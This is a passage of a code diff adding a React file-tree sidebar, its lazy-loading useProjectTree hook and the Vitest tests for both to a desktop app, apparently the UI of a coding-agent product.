+    readDir.mockResolvedValueOnce(ok([{ name: 'priv', path: '/p/priv', isDirectory: true }]))
+    readDir.mockResolvedValueOnce({ entries: [], error: 'EACCES' })
+
+    const { result } = renderHook(() => useProjectTree('/p'))
+
+    await waitFor(() => expect(result.current.data.length).toBe(1))
+
+    await act(async () => {
+      await result.current.loadChildren('/p/priv')
+    })
+
+    expect(result.current.data[0].error).toBe('EACCES')
+    expect(result.current.data[0].children).toEqual([
+      {
+        id: '/p/priv::__error__',
+        isDirectory: false,
+        name: 'Unable to read (EACCES)',
+        placeholder: 'error'
+      }
+    ])
+  })
+
+  it('dedupes concurrent loadChildren calls for the same id', async () => {
+    readDir.mockResolvedValueOnce(ok([{ name: 'src', path: '/p/src', isDirectory: true }]))
+
+    let resolveChildren: ((value: ClawCodexReadDirResult) => void) | undefined
+    readDir.mockImplementationOnce(
+      () =>
+        new Promise<ClawCodexReadDirResult>(resolve => {
+          resolveChildren = resolve
+        })
+    )
+
+    const { result } = renderHook(() => useProjectTree('/p'))
+
+    await waitFor(() => expect(result.current.data.length).toBe(1))
+
+    await act(async () => {
+      // First call enters inflight, second short-circuits, third also short-circuits.
+      void result.current.loadChildren('/p/src')
+      void result.current.loadChildren('/p/src')
+      void result.current.loadChildren('/p/src')
+      resolveChildren?.(ok([{ name: 'a.ts', path: '/p/src/a.ts', isDirectory: false }]))
+    })
+
+    // Mount load + a single folder fetch — duplicates were dropped.
+    expect(readDir).toHaveBeenCalledTimes(2)
+  })
+
+  it('refreshRoot reloads the root and clears prior error', async () => {
+    readDir.mockResolvedValueOnce({ entries: [], error: 'EACCES' })
+    readDir.mockResolvedValueOnce(ok([{ name: 'README.md', path: '/p/README.md', isDirectory: false }]))
+
+    const { result } = renderHook(() => useProjectTree('/p'))
+
+    await waitFor(() => expect(result.current.rootError).toBe('EACCES'))
+
+    await act(async () => {
+      await result.current.refreshRoot()
+    })
+
+    expect(result.current.rootError).toBeNull()
+    expect(result.current.data.map(n => n.name)).toEqual(['README.md'])
+  })
+
+  it('reloads when cwd changes', async () => {
+    readDir.mockResolvedValueOnce(ok([{ name: 'one', path: '/a/one', isDirectory: false }]))
+    readDir.mockResolvedValueOnce(ok([{ name: 'two', path: '/b/two', isDirectory: false }]))
+
+    const { rerender, result } = renderHook(({ cwd }) => useProjectTree(cwd), { initialProps: { cwd: '/a' } })
+
+    await waitFor(() => expect(result.current.data[0]?.name).toBe('one'))
+
+    rerender({ cwd: '/b' })
+
+    await waitFor(() => expect(result.current.data[0]?.name).toBe('two'))
+    expect(readDir).toHaveBeenLastCalledWith('/b')
+  })
+
+  it('falls back to the sanitized workspace dir when the session cwd is gone', async () => {
+    const sanitizeWorkspaceCwd = vi.fn(async () => ({ cwd: '/home/me/projects', sanitized: true }))
+    readDir.mockImplementation(async path => {
+      if (path === '/deleted/worktree') {
+        return { entries: [], error: 'ENOENT' }
+      }
+
+      if (path === '/home/me/projects') {
+        return ok([{ name: 'repo', path: '/home/me/projects/repo', isDirectory: true }])
+      }
+
+      throw new Error(`unexpected path ${path}`)
+    })
+    ;(window as unknown as { clawcodexDesktop: unknown }).clawcodexDesktop = { readDir, sanitizeWorkspaceCwd }
+
+    const { result } = renderHook(() => useProjectTree('/deleted/worktree'))
+
+    await waitFor(() => expect(result.current.data.length).toBe(1))
+
+    expect(sanitizeWorkspaceCwd).toHaveBeenCalledWith('/deleted/worktree')
+    expect(result.current.rootError).toBeNull()
+    expect(result.current.effectiveCwd).toBe('/home/me/projects')
+    expect(result.current.data[0]?.name).toBe('repo')
+  })
+
+  it('keeps the root error when sanitize offers no usable fallback', async () => {
+    const sanitizeWorkspaceCwd = vi.fn(async () => ({ cwd: '/deleted/worktree', sanitized: false }))
+    readDir.mockResolvedValue({ entries: [], error: 'ENOENT' })
+    ;(window as unknown as { clawcodexDesktop: unknown }).clawcodexDesktop = { readDir, sanitizeWorkspaceCwd }
+
+    const { result } = renderHook(() => useProjectTree('/deleted/worktree'))
+
+    await waitFor(() => expect(result.current.rootError).toBe('ENOENT'))
+    expect(result.current.effectiveCwd).toBe('/deleted/worktree')
+  })
+
+  it('returns no-bridge gracefully when window.clawcodexDesktop is missing', async () => {
+    delete (window as unknown as { clawcodexDesktop?: unknown }).clawcodexDesktop
+
+    const { result } = renderHook(() => useProjectTree('/p'))
+
+    await waitFor(() => expect(result.current.rootError).toBe('no-bridge'))
+    expect(result.current.data).toEqual([])
+  })
+})
diff --git a/ui-desktop/src/app/right-sidebar/files/use-project-tree.ts b/ui-desktop/src/app/right-sidebar/files/use-project-tree.ts
new file mode 100644
index 000000000..ac9537005
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/files/use-project-tree.ts
@@ -0,0 +1,510 @@
+import { useStore } from '@nanostores/react'
+import { atom } from 'nanostores'
+import { useCallback, useEffect, useMemo } from 'react'
+
+import { $connection } from '@/store/session'
+import { $workspaceChangeTick, consumeWorkspaceChange } from '@/store/workspace-events'
+
+import { clearProjectDirCache, type ProjectTreeEntry, readProjectDir } from './ipc'
+
+export interface TreeNode {
+  /** Absolute filesystem path. Doubles as react-arborist node id. */
+  id: string
+  name: string
+  /** Drives arborist's leaf-vs-expandable decision via childrenAccessor. */
+  isDirectory: boolean
+  /** `undefined` = directory, children not yet loaded. `[]` = loaded empty. */
+  children?: TreeNode[]
+  /** True while a readDir for this folder is in flight. */
+  loading?: boolean
+  /** Synthetic loading/error rows are not real filesystem entries. */
+  placeholder?: 'error' | 'loading'
+  /** Last error code from readDir (e.g. EACCES). Cleared on next successful load. */
+  error?: string
+}
+
+const PLACEHOLDER_ID = '__loading__'
+const ERROR_PLACEHOLDER_ID = '__error__'
+
+function makeNode(path: string, name: string, isDirectory: boolean): TreeNode {
+  return { id: path, isDirectory, name }
+}
+
+function patchNode(nodes: TreeNode[] | undefined | null, id: string, patch: (n: TreeNode) => TreeNode): TreeNode[] {
+  if (!nodes) {
+    return []
+  }
+
+  return nodes.map(n => {
+    if (n.id === id) {
+      return patch(n)
+    }
+
+    if (n.children && n.children.length > 0) {
+      return { ...n, children: patchNode(n.children, id, patch) }
+    }
+
+    return n
+  })
+}
+
+function findNode(nodes: TreeNode[], id: string): null | TreeNode {
+  for (const node of nodes) {
+    if (node.id === id) {
+      return node
+    }
+
+    if (node.children?.length) {
+      const hit = findNode(node.children, id)
+
+      if (hit) {
+        return hit
+      }
+    }
+  }
+
+  return null
+}
+
+// Merge a freshly-read dir's entries into its existing children: keep surviving
+// nodes (subtrees intact), add new, drop deleted. Non-recursive — a grandchild
+// dir only re-reads when it's itself in the change set.
+function mergeChildren(existing: TreeNode[], entries: ProjectTreeEntry[]): TreeNode[] {
+  const byId = new Map(existing.filter(node => !node.placeholder).map(node => [node.id, node]))
+
+  return entries.map(entry => byId.get(entry.path) ?? makeNode(entry.path, entry.name, entry.isDirectory))
+}
+
+function placeholderChild(parentId: string): TreeNode {
+  return { id: `${parentId}::${PLACEHOLDER_ID}`, isDirectory: false, name: 'Loading…', placeholder: 'loading' }
+}
+
+function errorChild(parentId: string, error: string | undefined): TreeNode {
+  return {
+    id: `${parentId}::${ERROR_PLACEHOLDER_ID}`,
+    isDirectory: false,
+    name: `Unable to read (${error || 'read-error'})`,
+    placeholder: 'error'
+  }
+}
+
+export interface UseProjectTreeResult {
+  /** Bumped by collapseAll so callers can remount the tree fully collapsed. */
+  collapseNonce: number
+  data: TreeNode[]
+  /** Directory actually displayed — differs from the requested cwd when the
+   *  session's recorded cwd no longer exists and we fell back to the default
+   *  workspace dir. */
+  effectiveCwd: string
+  openState: Record<string, boolean>
+  rootError: string | null
+  rootLoading: boolean
+  collapseAll: () => void
+  loadChildren: (id: string) => Promise<void>
+  refreshRoot: () => Promise<void>
+  setNodeOpen: (id: string, open: boolean) => void
+}
+
+interface ProjectTreeState {
+  collapseNonce: number
+  cwd: string
+  data: TreeNode[]
+  loaded: boolean
+  openState: Record<string, boolean>
+  requestId: number
+  /** Directory the displayed entries were read from ('' until first load). */
+  resolvedCwd: string
+  rootError: string | null
+  rootLoading: boolean
+}
+
+const initialState: ProjectTreeState = {
+  collapseNonce: 0,
+  cwd: '',
+  data: [],
+  loaded: false,
+  openState: {},
+  requestId: 0,
+  resolvedCwd: '',
+  rootError: null,
+  rootLoading: false
+}
+
+const inflight = new Set<string>()
+const $projectTree = atom<ProjectTreeState>(initialState)
+let nextRootRequestId = 0
+let lastConnectionKey = ''
+
+// While the root is errored (ENOENT during a session's cwd race, a folder that
+// reappears after a checkout, a remote that wasn't ready), keep retrying on a
+// slow cadence so the tree self-heals instead of staying "UNREADABLE" forever.
+const ROOT_ERROR_RETRY_MS = 3_000
+
+function setProjectTree(updater: (current: ProjectTreeState) => ProjectTreeState) {
+  $projectTree.set(updater($projectTree.get()))
+}
+
+function clearProjectTree() {
+  nextRootRequestId += 1
+  inflight.clear()
+  $projectTree.set({ ...initialState, requestId: nextRootRequestId })
+}
+
+/** Sessions record their launch cwd; deleted worktrees and remote-backend
+ *  paths arrive here as directories that don't exist on this machine. Rather
+ *  than bricking the tree, display the sanitized workspace fallback (main
+ *  prefers the configured default project dir). Local connections only —
+ *  remote trees are read through the remote bridge. */
+async function fallbackRootFor(cwd: string): Promise<string | null> {
+  if ($connection.get()?.mode === 'remote') {
+    return null
+  }
+
+  const sanitize = window.clawcodexDesktop?.sanitizeWorkspaceCwd
+
+  if (!sanitize) {
+    return null
+  }
+
+  try {
+    const { cwd: fallback, sanitized } = await sanitize(cwd)
+
+    return sanitized && fallback && fallback !== cwd ? fallback : null
+  } catch {
+    return null
+  }
+}
+
+async function loadRoot(cwd: string, { force = false }: { force?: boolean } = {}) {
+  if (!cwd) {
+    clearProjectTree()
+
+    return
+  }
+
+  const current = $projectTree.get()
+
+  if (!force && current.cwd === cwd && (current.loaded || current.rootLoading)) {
+    return
+  }
+
+  const requestId = nextRootRequestId + 1
+  nextRootRequestId = requestId
+  inflight.clear()
+
+  if (force || current.cwd !== cwd) {
+    clearProjectDirCache(cwd)
+  }
+
+  $projectTree.set({
+    collapseNonce: current.collapseNonce,
+    cwd,
+    data: [],
+    loaded: false,
+    openState: current.cwd === cwd ? current.openState : {},
+    requestId,
+    resolvedCwd: '',
+    rootError: null,
+    rootLoading: true
+  })
+
+  let resolvedCwd = cwd
+  let { entries, error } = await readProjectDir(cwd, cwd)
+
+  if (error) {
+    const fallback = await fallbackRootFor(cwd)
+
+    if (fallback) {
+      const retry = await readProjectDir(fallback, fallback)
+
+      if (!retry.error) {
+        resolvedCwd = fallback
+        entries = retry.entries
+        error = undefined
+      }
+    }
+  }
+
+  setProjectTree(latest => {
+    if (latest.cwd !== cwd || latest.requestId !== requestId) {
+      return latest
+    }
+
+    return {
+      ...latest,
+      data: error ? [] : entries.map(e => makeNode(e.path, e.name, e.isDirectory)),
+      loaded: true,
+      resolvedCwd,
+      rootError: error || null,
+      rootLoading: false
+    }
+  })
+}
+
+export function resetProjectTreeState() {
+  lastConnectionKey = ''
+  clearProjectTree()
+  clearProjectDirCache()
+}
+
+// Non-destructive live refresh as the agent edits: preserves expansion + loaded
+// subtrees (stable absolute-path ids let rows animate in/out), never collapses.
+// Targeted by default — re-reads only the changed dirs in `change`; the root and
+// untouched folders never touch the filesystem or re-render. Falls back to
+// re-reading every loaded dir only when the mutation is opaque (a terminal
+// command / a path we couldn't resolve) — see store/workspace-events.
+async function revalidateTree(cwd: string, change: { dirs: string[]; full: boolean }): Promise<void> {
+  const state = $projectTree.get()
+
+  if (!cwd || state.cwd !== cwd || !state.loaded) {
+    return
+  }
+
+  const rootPath = state.resolvedCwd || cwd
+
+  if (!change.full && change.dirs.length) {
+    // Only re-read changed dirs that are actually loaded (root, or an expanded
+    // folder); a change inside a collapsed/absent dir isn't visible → skip.
+    const targets = change.dirs.filter(dir => dir === rootPath || findNode(state.data, dir)?.children)
+
+    if (!targets.length) {
+      return
+    }
+
+    const reads = await Promise.all(targets.map(async dir => ({ dir, ...(await readProjectDir(dir, rootPath)) })))
+
+    setProjectTree(latest => {
+      if (latest.cwd !== cwd || !latest.loaded) {
+        return latest
+      }
+
+      let data = latest.data
+
+      for (const { dir, entries, error } of reads) {
+        if (error) {
+          continue // keep last-known children on a transient read error
+        }
+
+        data =
+          dir === rootPath
+            ? mergeChildren(data, entries)
+            : patchNode(data, dir, node =>
+                node.children ? { ...node, children: mergeChildren(node.children, entries) } : node
+              )
+      }
+
+      return data === latest.data ? latest : { ...latest, data }
+    })
+
+    return
+  }
+
+  // Opaque fallback: reconcile every loaded dir. Siblings read concurrently
+  // (Promise.all keeps order); loaded subfolders recurse.
+  const reconcile = async (dirPath: string, existing: TreeNode[]): Promise<TreeNode[]> => {
+    const { entries, error } = await readProjectDir(dirPath, rootPath)
+
+    if (error) {
+      return existing
+    }
+
+    const byId = new Map(existing.filter(node => !node.placeholder).map(node => [node.id, node]))
+
+    return Promise.all(
+      entries.map(async entry => {
+        const prev = byId.get(entry.path)
+
+        if (prev?.isDirectory && prev.children) {
+          return { ...prev, children: await reconcile(prev.id, prev.children) }
+        }
+
+        return prev ?? makeNode(entry.path, entry.name, entry.isDirectory)
+      })
+    )
+  }
+
+  const nextData = await reconcile(rootPath, state.data)
+
+  setProjectTree(latest => (latest.cwd === cwd && latest.loaded ? { ...latest, data: nextData } : latest))
+}
+
+/**
+ * Lazy-loads a directory tree rooted at `cwd`. Children are fetched on first
+ * expand and cached in this feature-owned atom so unrelated chat rerenders or
+ * remounts cannot reset the browser. A placeholder leaf renders so the
+ * disclosure caret shows for unloaded folders. `refreshRoot` invalidates the
+ * whole tree (used after cwd change or manual refresh).
+ */
+export function useProjectTree(cwd: string): UseProjectTreeResult {
+  const state = useStore($projectTree)
+  const connection = useStore($connection)
+  const workspaceTick = useStore($workspaceChangeTick)
+  const connectionKey = `${connection?.mode || 'local'}:${connection?.profile || ''}:${connection?.baseUrl || ''}`
+
+  const refreshRoot = useCallback(() => loadRoot(cwd, { force: true }), [cwd])
+
+  const setNodeOpen = useCallback(
+    (id: string, open: boolean) => {
+      setProjectTree(current => {
+        if (current.cwd !== cwd || current.openState[id] === open) {
+          return current
+        }
+
+        return {
+          ...current,
+          openState: {
+            ...current.openState,
+            [id]: open
+          }
+        }
+      })
+    },
+    [cwd]
+  )
+
+  // Clears the recorded open state and bumps the nonce; the tree is keyed on
+  // the nonce so it remounts with everything collapsed (loaded children stay
+  // cached in `data`, just hidden).
+  const collapseAll = useCallback(() => {
+    setProjectTree(current => {
+      if (current.cwd !== cwd) {
+        return current
+      }
+
+      return { ...current, collapseNonce: current.collapseNonce + 1, openState: {} }
+    })
+  }, [cwd])
+
+  const loadChildren = useCallback(
+    async (id: string) => {
+      if (!cwd || inflight.has(id)) {
+        return
+      }
+
+      inflight.add(id)
+
+      setProjectTree(current => {
+        if (current.cwd !== cwd) {
+          return current
+        }
+
+        return {
+          ...current,
+          data: patchNode(current.data, id, n => ({ ...n, loading: true, children: [placeholderChild(n.id)] }))
+        }
+      })
+
+      const rootPath = $projectTree.get().resolvedCwd || cwd
+      const { entries, error } = await readProjectDir(id, rootPath)
+
+      inflight.delete(id)
+
+      setProjectTree(current => {
+        if (current.cwd !== cwd) {
+          return current
+        }
+
+        return {
+          ...current,
+          data: patchNode(current.data, id, n => ({
+            ...n,
+            loading: false,
+            error: error || undefined,
+            children: error ? [errorChild(n.id, error)] : entries.map(e => makeNode(e.path, e.name, e.isDirectory))
+          }))
+        }
+      })
+    },
+    [cwd]
+  )
+
+  // Live, non-destructive refresh when the agent touches the tree (skip the
+  // very first render: tick 0 is the initial value, not a real change).
+  useEffect(() => {
+    if (workspaceTick > 0) {
+      void revalidateTree(cwd, consumeWorkspaceChange())
+    }
+  }, [workspaceTick, cwd])
+
+  useEffect(() => {
+    const connectionChanged = lastConnectionKey !== '' && lastConnectionKey !== connectionKey
+    lastConnectionKey = connectionKey
+
+    if (connectionChanged) {
+      clearProjectDirCache()
+      void loadRoot(cwd, { force: true })
+
+      return
+    }
+
+    void loadRoot(cwd)
+  }, [connectionKey, cwd])
+
+  // Self-heal: an errored root re-probes every few seconds while the tree is
+  // mounted. Each attempt bumps requestId, so a persistent error re-arms the
+  // timer; a success clears rootError and stops it.
+  useEffect(() => {
+    if (!cwd || state.cwd !== cwd || !state.rootError) {
+      return
+    }
+
+    const timer = window.setTimeout(() => void loadRoot(cwd, { force: true }), ROOT_ERROR_RETRY_MS)
+
+    return () => window.clearTimeout(timer)
+  }, [cwd, state.cwd, state.requestId, state.rootError])
+
+  // While showing the fallback root, quietly re-probe the session's real cwd
+  // (a worktree re-created, a checkout restored) and switch back when it
+  // reappears. The probe never touches state, so there's no flicker.
+  const usingFallback = state.cwd === cwd && Boolean(state.resolvedCwd) && state.resolvedCwd !== cwd
+
+  useEffect(() => {
+    if (!cwd || !usingFallback) {
+      return
+    }
+
+    let cancelled = false
+
+    const timer = window.setInterval(() => {
+      void readProjectDir(cwd, cwd).then(({ error }) => {
+        if (!cancelled && !error) {
+          void loadRoot(cwd, { force: true })
+        }
+      })
+    }, ROOT_ERROR_RETRY_MS)
+
+    return () => {
+      cancelled = true
+      window.clearInterval(timer)
+    }
+  }, [cwd, usingFallback])
+
+  return useMemo(
+    () => ({
+      collapseAll,
+      collapseNonce: state.cwd === cwd ? state.collapseNonce : 0,
+      data: state.cwd === cwd ? state.data : [],
+      effectiveCwd: state.cwd === cwd && state.resolvedCwd ? state.resolvedCwd : cwd,
+      loadChildren,
+      openState: state.cwd === cwd ? state.openState : {},
+      refreshRoot,
+      rootError: state.cwd === cwd ? state.rootError : null,
+      rootLoading: state.cwd === cwd ? state.rootLoading : Boolean(cwd),
+      setNodeOpen
+    }),
+    [
+      collapseAll,
+      cwd,
+      loadChildren,
+      refreshRoot,
+      setNodeOpen,
+      state.collapseNonce,
+      state.cwd,
+      state.data,
+      state.openState,
+      state.resolvedCwd,
+      state.rootError,
+      state.rootLoading
+    ]
+  )
+}
diff --git a/ui-desktop/src/app/right-sidebar/index.test.tsx b/ui-desktop/src/app/right-sidebar/index.test.tsx
new file mode 100644
index 000000000..2014f8c48
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/index.test.tsx
@@ -0,0 +1,57 @@
+import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { ClawCodexReadDirResult } from '@/global'
+import { $connection, setCurrentCwd } from '@/store/session'
+
+import { resetProjectTreeState } from './files/use-project-tree'
+
+import { RightSidebarPane } from './index'
+
+const readDir = vi.fn<(path: string) => Promise<ClawCodexReadDirResult>>()
+
+function installBridge() {
+  ;(window as unknown as { clawcodexDesktop: { readDir: typeof readDir } }).clawcodexDesktop = { readDir }
+}
+
+describe('RightSidebarPane', () => {
+  beforeEach(() => {
+    $connection.set(null)
+    resetProjectTreeState()
+    readDir.mockReset()
+    readDir.mockResolvedValue({ entries: [{ isDirectory: false, name: 'README.md', path: '/repo/README.md' }] })
+    installBridge()
+  })
+
+  afterEach(() => {
+    cleanup()
+    $connection.set(null)
+    setCurrentCwd('')
+    resetProjectTreeState()
+    delete (window as unknown as { clawcodexDesktop?: unknown }).clawcodexDesktop
+  })
+
+  it('renders the tree whenever the session has a working dir (repo or not) — no picker', async () => {
+    setCurrentCwd('/repo')
+
+    render(<RightSidebarPane onActivateFile={vi.fn()} onActivateFolder={vi.fn()} />)
+
+    const refresh = await screen.findByRole('button', { name: 'Refresh tree' })
+
+    readDir.mockClear()
+    fireEvent.click(refresh)
+    await waitFor(() => expect(readDir).toHaveBeenCalledWith('/repo'))
+
+    // The freeform folder picker is retired.
+    expect(screen.queryByRole('button', { name: 'Open folder' })).toBeNull()
+  })
+
+  it('shows no tree for a detached chat (no working dir)', async () => {
+    setCurrentCwd('')
+
+    render(<RightSidebarPane onActivateFile={vi.fn()} onActivateFolder={vi.fn()} />)
+
+    await waitFor(() => expect(screen.queryByRole('button', { name: 'Refresh tree' })).toBeNull())
+    expect(readDir).not.toHaveBeenCalled()
+  })
+})
diff --git a/ui-desktop/src/app/right-sidebar/index.tsx b/ui-desktop/src/app/right-sidebar/index.tsx
new file mode 100644
index 000000000..f93ac9679
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/index.tsx
@@ -0,0 +1,335 @@
+import { useStore } from '@nanostores/react'
+import type { ComponentProps } from 'react'
+
+import { TreeSkeleton } from '@/components/chat/skeletons'
+import { ErrorBoundary } from '@/components/error-boundary'
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { Tip } from '@/components/ui/tooltip'
+import { useDelayedTrue } from '@/hooks/use-delayed-true'
+import { useI18n } from '@/i18n'
+import { normalizeOrLocalPreviewTarget } from '@/lib/local-preview'
+import { cn } from '@/lib/utils'
+import { $panesFlipped } from '@/store/layout'
+import { notifyError } from '@/store/notifications'
+import { openPreview } from '@/store/preview'
+import { $currentCwd } from '@/store/session'
+
+import { SidebarPanelLabel } from '../shell/sidebar-label'
+
+import { ProjectTree } from './files/tree'
+import { useProjectTree } from './files/use-project-tree'
+
+interface RightSidebarPaneProps {
+  onActivateFile: (path: string) => void
+  onActivateFolder: (path: string) => void
+}
+
+export function RightSidebarPane({ onActivateFile, onActivateFolder }: RightSidebarPaneProps) {
+  const { t } = useI18n()
+  const r = t.rightSidebar
+  const panesFlipped = useStore($panesFlipped)
+  const currentCwd = useStore($currentCwd).trim()
+
+  // The file tree is simply "browse the session's working directory". If the
+  // session has a cwd — a repo, a sibling worktree, or any folder — show it. A
+  // bare/detached chat (resolveNewSessionCwd → '') has none, so it shows the
+  // empty hint instead of whatever dir ClawCodex happens to run from.
+  const hasWorkspace = Boolean(currentCwd)
+
+  const {
+    collapseAll,
+    collapseNonce,
+    data,
+    effectiveCwd,
+    loadChildren,
+    openState,
+    refreshRoot,
+    rootError,
+    rootLoading,
+    setNodeOpen
+  } = useProjectTree(hasWorkspace ? currentCwd : '')
+
+  const cwdName =
+    effectiveCwd
+      .split(/[\\/]+/)
+      .filter(Boolean)
+      .pop() ?? effectiveCwd
+
+  const canCollapse = Object.values(openState).some(Boolean)
+
+  const previewFile = async (path: string) => {
+    try {
+      const preview = await normalizeOrLocalPreviewTarget(path, effectiveCwd || undefined)
+
+      if (!preview) {
+        throw new Error(r.couldNotPreview(path))
+      }
+
+      openPreview(preview, 'file-browser')
+    } catch (error) {
+      notifyError(error, r.previewUnavailable)
+    }
+  }
+
+  return (
+    <aside
+      aria-label={r.aria}
+      className={cn(
+        'before:pointer-events-none relative flex h-full w-full min-w-0 flex-col overflow-hidden border-(--ui-stroke-secondary) bg-(--ui-sidebar-surface-background) pt-(--titlebar-height) text-(--ui-text-tertiary)',
+        panesFlipped
+          ? 'border-r shadow-[inset_-0.0625rem_0_0_color-mix(in_srgb,white_18%,transparent)]'
+          : 'border-l shadow-[inset_0.0625rem_0_0_color-mix(in_srgb,white_18%,transparent)]'
+      )}
+    >
+      <FilesystemTab
+        canCollapse={canCollapse}
+        collapseNonce={collapseNonce}
+        cwd={effectiveCwd}
+        cwdName={cwdName}
+        data={data}
+        error={rootError}
+        hasWorkspace={hasWorkspace}
+        loading={rootLoading}
+        onActivateFile={onActivateFile}
+        onActivateFolder={onActivateFolder}
+        onCollapseAll={collapseAll}
+        onLoadChildren={loadChildren}
+        onNodeOpenChange={setNodeOpen}
+        onPreviewFile={previewFile}
+        onRefresh={() => void refreshRoot()}
+        openState={openState}
+      />
+    </aside>
+  )
+}
+
+interface FilesystemTabProps extends FileTreeBodyProps {
+  canCollapse: boolean
+  cwdName: string
+  hasWorkspace: boolean
+  onCollapseAll: () => void
+  onRefresh: () => void
+}
+
+// Sidebar palette + hover-reveal: header actions stay reachable while moving
+// from the project label to the action buttons.
+const HEADER_ACTION_CLASS =
+  'text-sidebar-foreground/70 hover:bg-sidebar-accent! hover:text-sidebar-accent-foreground! focus-visible:ring-sidebar-ring'
+
+const HEADER_ACTION_LABEL_REVEAL = `${HEADER_ACTION_CLASS} pointer-events-none opacity-0 transition-opacity focus-visible:pointer-events-auto focus-visible:opacity-100 group-focus-within/project-header:pointer-events-auto group-focus-within/project-header:opacity-100 group-hover/project-header:pointer-events-auto group-hover/project-header:opacity-100`
+
+function FilesystemTab({
+  canCollapse,
+  collapseNonce,
+  cwd,
+  cwdName,
+  data,
+  error,
+  hasWorkspace,
+  loading,
+  onActivateFile,
+  onActivateFolder,
+  onCollapseAll,
+  onLoadChildren,
+  onNodeOpenChange,
+  onPreviewFile,
+  onRefresh,
+  openState
+}: FilesystemTabProps) {
+  const { t } = useI18n()
+  const r = t.rightSidebar
+
+  // No working directory (a bare/detached chat) → no tree, just a terse hint.
+  // Switching workspace is a project/worktree action, never a raw folder picker.
+  if (!hasWorkspace) {
+    return <PaneEmptyState label={r.noProjectOpen} />
+  }
+
+  return (
+    <div className="flex min-h-0 flex-1 flex-col">
+      <RightSidebarSectionHeader>
+        <div className="flex min-w-0 flex-1">
+          <SidebarPanelLabel>{cwdName}</SidebarPanelLabel>
+        </div>
+        <Tip label={r.refreshTree}>
+          <Button
+            aria-label={r.refreshTree}
+            className={HEADER_ACTION_LABEL_REVEAL}
+            disabled={loading}
+            onClick={onRefresh}
+            size="icon-xs"
+            variant="ghost"
+          >
+            <Codicon name="refresh" size="0.8125rem" spinning={loading} />
+          </Button>
+        </Tip>
+        <Tip label={r.collapseAll}>
+          <Button
+            aria-label={r.collapseAll}
+            className={cn(HEADER_ACTION_CLASS, !canCollapse && 'pointer-events-none opacity-0')}
+            disabled={!canCollapse}
+            onClick={onCollapseAll}
+            size="icon-xs"
+            variant="ghost"
+          >
+            <Codicon name="collapse-all" size="0.8125rem" />
+          </Button>
+        </Tip>
+      </RightSidebarSectionHeader>
+      <FileTreeBody
+        collapseNonce={collapseNonce}
+        cwd={cwd}
+        data={data}
+        error={error}
+        loading={loading}
+        onActivateFile={onActivateFile}
+        onActivateFolder={onActivateFolder}
+        onLoadChildren={onLoadChildren}
+        onNodeOpenChange={onNodeOpenChange}
+        onPreviewFile={onPreviewFile}
+        onRetry={onRefresh}
+        openState={openState}
+      />
+    </div>
+  )
+}
+
+export function RightSidebarSectionHeader({ children, className, ...props }: ComponentProps<'div'>) {
+  return (
+    <div className={cn('group/project-header flex h-7 shrink-0 items-center px-2.5', className)} {...props}>
+      {children}
+    </div>
+  )
+}
+
+interface FileTreeBodyProps {
+  collapseNonce: number
+  cwd: string
+  data: ReturnType<typeof useProjectTree>['data']
+  error: string | null
+  loading: boolean
+  onActivateFile: (path: string) => void
+  onActivateFolder: (path: string) => void
+  onLoadChildren: (id: string) => void | Promise<void>
+  onNodeOpenChange: (id: string, open: boolean) => void
+  onPreviewFile?: (path: string) => void
+  /** Force-reload the root. The hook also auto-retries while errored, so this
+   *  is the impatient-user path. */
+  onRetry?: () => void
+  openState: ReturnType<typeof useProjectTree>['openState']
+}
+
+function FileTreeBody({
+  collapseNonce,
+  cwd,
+  data,
+  error,
+  loading,
+  onActivateFile,
+  onActivateFolder,
+  onLoadChildren,
+  onNodeOpenChange,
+  onPreviewFile,
+  onRetry,
+  openState
+}: FileTreeBodyProps) {
+  const { t } = useI18n()
+  const r = t.rightSidebar
+  // Stay blank for a beat, then skeleton — so a fast project switch doesn't
+  // flash a jarring loading state.
+  const showSkeleton = useDelayedTrue(loading && data.length === 0)
+
+  if (!cwd) {
+    return <EmptyState body={r.noProjectBody} title={r.noProjectTitle} />
+  }
+
+  if (error) {
+    return (
+      <div className="flex min-h-0 flex-1 flex-col items-center justify-center gap-2 px-4 text-center">
+        <EmptyState body={r.unreadableBody(error)} title={r.unreadableTitle} />
+        {onRetry && (
+          <button
+            className="text-[0.68rem] font-medium text-muted-foreground transition hover:text-foreground"
+            onClick={onRetry}
+            type="button"
+          >
+            {r.tryAgain}
+          </button>
+        )}
+      </div>
+    )
+  }
+
+  if (loading && data.length === 0) {
+    return showSkeleton ? <FileTreeLoadingState /> : <div className="min-h-0 flex-1" />
+  }
+
+  if (data.length === 0) {
+    return <EmptyState body={r.emptyBody} title={r.emptyTitle} />
+  }
+
+  return (
+    <ErrorBoundary
+      fallback={({ reset }) => (
+        <div className="flex min-h-0 flex-1 flex-col items-center justify-center gap-2 px-4 text-center">
+          <EmptyState body={r.treeErrorBody} title={r.treeErrorTitle} />
+          <button
+            className="text-[0.68rem] font-medium text-muted-foreground transition hover:text-foreground"
+            onClick={reset}
+            type="button"
+          >
+            {r.tryAgain}
+          </button>
+        </div>
+      )}
+      key={cwd}
+      label="file-tree"
+    >
+      <ProjectTree
+        collapseNonce={collapseNonce}
+        cwd={cwd}
+        data={data}
+        onActivateFile={onActivateFile}
+        onActivateFolder={onActivateFolder}
+        onLoadChildren={onLoadChildren}
+        onNodeOpenChange={onNodeOpenChange}
+        onPreviewFile={onPreviewFile}
+        openState={openState}
+      />
+    </ErrorBoundary>
+  )
+}
+
+function FileTreeLoadingState() {
+  const { t } = useI18n()
+
+  return (
+    <div aria-label={t.rightSidebar.loadingTree} className="min-h-0 flex-1" role="status">
+      <TreeSkeleton />
+    </div>
+  )
+}
+
+// Terse pane empty state ("No files" / "No diffs"): the panel label itself —
+// same uppercase/tracking + dither dot — just muted instead of theme-primary,
+// centered. Shared by the file tree and review panes so both read identically.
+export function PaneEmptyState({ label }: { label: string }) {
+  return (
+    <div className="flex min-h-0 flex-1 items-center justify-center px-4">
+      <SidebarPanelLabel className="pl-0 text-(--ui-text-quaternary)">{label}</SidebarPanelLabel>
+    </div>
+  )
+}
+
+// Richer empty/error state (title + body) for the file tree's read failures.
+export function EmptyState({ body, title }: { body: string; title?: string }) {
+  return (
+    <div className="flex min-h-0 flex-1 flex-col items-center justify-center gap-1 px-4 text-center">
